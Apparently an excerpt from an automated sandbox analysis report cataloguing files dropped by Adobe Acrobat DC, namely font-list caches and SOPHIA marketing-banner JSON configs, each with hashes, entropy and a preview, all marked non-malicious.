SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7724

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7724

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338394750523477
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJM3g98kUwPeUkwRe9:YvXKXFfAHVUYpW7wGMbLUkee9
MD5:	E3E309A4B5190533D2749C92B745DF06
SHA1:	14BF7A6039DA4C0D76FD4CC5228C931C318C7B3D
SHA-256:	E61EA8156EE5CE2E7FDF68C3804A0D4EB9F1F734E5BFA31353DE07459FDE0365
SHA-512:	4969D63F9A03FDFE6683F42A5272C528AA63C124DBE9E8AAE8C55D0A8C4D28E0C0F4DBC9C53C4B3AB5187CEF4244EF66060A6610ED3739AE20279BF7D7C20511
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274161291036295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfBoTfXpnrPeUkwRe9:YvXKXFfAHVUYpW7wGWTfXcUkee9
MD5:	C26E8A27A61240FE464A49EBAC7CE618
SHA1:	0803BA53D97B73CF4DF9B94E7E45D308B6D87AD5
SHA-256:	BA79890564AA2C5D3945272F2C8ED6430FA973025477FF5F517AEEFCE91373B6
SHA-512:	B5E598AF34C7C065FC8BAB3DE509E264773DBCA0969748128365C5EA2AD5DC8C1084AC8A716D3B7AF5FAB4B476FD873298E509DD2EAB51B3BDE2BBF08EBEE8C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.252300205781562
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfBD2G6UpnrPeUkwRe9:YvXKXFfAHVUYpW7wGR22cUkee9
MD5:	A3BB4ACA73FA38630C64B2D66111832B
SHA1:	E8CBDB033CB26B782F8075C729268BBF48D96862
SHA-256:	F0974CE3A85FA2998D6963E0156968CFDF3A885A369E0A3D79800EEFE508B452
SHA-512:	09E5680D861BA62265FC668273680C67575C80598F0C43474B1DEE1DCCDB04B75970B9B556894BB38140CC94BBACAC54F7FCAC65414AAE7E7D775BEDB7BFBB01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3164115356934225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfPmwrPeUkwRe9:YvXKXFfAHVUYpW7wGH56Ukee9
MD5:	769D774E4EB2175AF57C1971A2CFE420
SHA1:	55B7C688BD1257F13D3AB5A3310CFEBB3CDBA21E
SHA-256:	844B4A92023D93E874C5FB21686A83ACB358C06FCE7B4114FE2DE9E10E275DD1
SHA-512:	CFEBFAC59A0809691980AAB74AEDFA053382E288BEEDB4EF05F6540C056FFAA39C1ADEBA56B5B58972ADCB5393C2A7944CAFBC5BADEC3FFDCE2CF188D8DBDFCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68875872481204
Encrypted:	false
SSDEEP:	24:Yv6XdkFitpLgE9cQx8LennAvzBvkn0RCmK8czOCCSqr:Yvithgy6SAFv5Ah8cv/+
MD5:	80D5215AB76A7F8E319FD8057A09BA81
SHA1:	50AB6085EA9D9CC8844796DF4E30FA2AD1E10362
SHA-256:	6268FE2304923AB0C3C0CFE8D7C62056BE2E63AE8E364871A52DF66D725B22BF
SHA-512:	97C9153712B0C39C3826CF20817981EB77728117A1B08A948E7FDEB53D0B46430F94E5790C22AA1AE9E25F99ADD38C3937683530A7ACBDAE1D45532602341EEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.262082069215482
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJf8dPeUkwRe9:YvXKXFfAHVUYpW7wGU8Ukee9
MD5:	CC5730006AA55F750DEE5C32F34C73ED
SHA1:	2C97D7E6F0E7F17939824B32A71A95CA1A653051
SHA-256:	C138375D31DBE2A2FCDB1E59FBAC98C77692D6AEE33306EA3B50D6E0E414BEBD
SHA-512:	EA5406BCE1A8D4A547065F32EC0522F931936EE0F461A36E0DB3998E34DA8D33BF9086AFD9B398508D1EF505F11A0526911FBB345F9F2D00E0B0994A2E636FA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.264010462539444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfQ1rPeUkwRe9:YvXKXFfAHVUYpW7wGY16Ukee9
MD5:	8E801D3287DF51479CE87E431D806EE8
SHA1:	560CBD4E36A7F84F7B754DCF3B93E9CAFD264397
SHA-256:	3C9095BA5667C0FCDB38392873A9F83CB38B279A3D43E9F7BF980E5C75F58FCD
SHA-512:	A13278D199F03FCA92065017AB2672F5D6EB81412E252011817F6288A09CAA9673FFAEE846B3B08A4E93ED3FA84ACD74137F989ECB0721D11F4FA32FE13B54BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28532008819422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfFldPeUkwRe9:YvXKXFfAHVUYpW7wGz8Ukee9
MD5:	F0D41AC73A97E500C338A970F130893B
SHA1:	0B9736206797EB09CB5D8DF30BE730C68FBF3C77
SHA-256:	93C16BC2C9140FEF8412CF7F938489380830C7463117FAFBFC7350BB389FAE72
SHA-512:	E2D20BDA6D85E8FAC9DBEE6D159584B7E3AADC0DD3FC30F2E9A8374B61E04102167491706CD284624BE17FEC7E2639F76BA11C865A170597D51874948F20C18B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.289935573153127
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfzdPeUkwRe9:YvXKXFfAHVUYpW7wGb8Ukee9
MD5:	F4ED118558A875C29797CA9D27BA634C
SHA1:	515FF744C616A5A1CA3969A90F7B78CB0B602752
SHA-256:	6B85BA0FF26B07565F6E43FFEF096C31B5FF80C3BBE8D2E63570C12F4F21A2E7
SHA-512:	A06FA49A7C444A471796E4F2262D6E63D6E35BBBA860413564754594663E23F69183875DDA2EF781E27D796A1DF2C1FA31F55E01D0419147E7DEF1F8CFDDC358
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270508690082592
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfYdPeUkwRe9:YvXKXFfAHVUYpW7wGg8Ukee9
MD5:	EEBB12FAFCA27DF9CE7B31198066D343
SHA1:	07D9AB03DD8E8ADE4C37F2B6DF4B9D316CBDB0C6
SHA-256:	DB9E47CEF560B35BF9E22DFD462B003BB8C028A14A53B4A4206EBEDCDE6A30F8
SHA-512:	DD5CC70D28192E582809B83F7CF53A1C5A6753536FAE97452D43DB56804F0A4B37815E1DD75E1F9E7DD5FCC2750BFBBDBE6A6ACA12BF46ED76BAD0A3CCAF9AE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.256338840630337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJf+dPeUkwRe9:YvXKXFfAHVUYpW7wG28Ukee9
MD5:	87837F3C49E54DFE201A686719A1E618
SHA1:	94DB435DE9F6F00BE53A006094A403923B7F9211
SHA-256:	E3EA23E64EBFD7AC6B1F676618F447530DF7FE0C6EB252AF03F90AACC221D9BE
SHA-512:	F62E90E35C9323DC7DBF6684A8D348C608BF82A5852827C6DCB941B87E0C59C8795211711BF210334F86C951B8DA8E39F904F77088986B607E292CF4D853E1C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.254258477171697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfbPtdPeUkwRe9:YvXKXFfAHVUYpW7wGDV8Ukee9
MD5:	CA42A0258AA95A96B7D266082CE312B9
SHA1:	3AD7427EA464526FF216190CFF623CE70E0B9140
SHA-256:	F9185181B32988652B2BE59F6E82FE15F22F4FC9FF3A9699EA7714C44071A48D
SHA-512:	748ACE2026D395BCEFEBFAC74CC965FC4CE2185750FD442508C0A6C0A866CD9B678D7929A971341103160A92371F4B42C750A4D97D477469AA8B4E2445A2CF9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.256098769438336
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJf21rPeUkwRe9:YvXKXFfAHVUYpW7wG+16Ukee9
MD5:	B866D908801F5DBF65131371A1019A05
SHA1:	1F9E34CC2B83D494CE261011DE3D80271E6F6ED5
SHA-256:	D61CD93E385918E72CB74D2452736E4ECB922FCC34DF8A3A20853B6E951CAE16
SHA-512:	6EB276B3249BFA856218404F6AE6FF5549D667EAE0048A7CAC95111850C1355684881D0FF44D8667E5E2FFBE70F81BFD6EED81F37E7EF6A69E938BADC9FE20BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661292992283741
Encrypted:	false
SSDEEP:	24:Yv6XdkFiVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSqr:YviJBgkDMUJUAh8cvM+
MD5:	20AA01FEA0606AC7E0DC89116F01F734
SHA1:	3A22FB96D574278C428CD057EC4B50D8385222AC
SHA-256:	2EBB4617CF5460EEC6D21D20A427A940A266DA14F6A391515204E206CDB8C01A
SHA-512:	134D795DE7CF5016CF44BC5BBD837572C873B1ED8527E4CF2B69A5D6335A558EA915E39403604AC343DC4AB7FD26674E8CC8F85774246C890DDD2D8A00EAF888
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 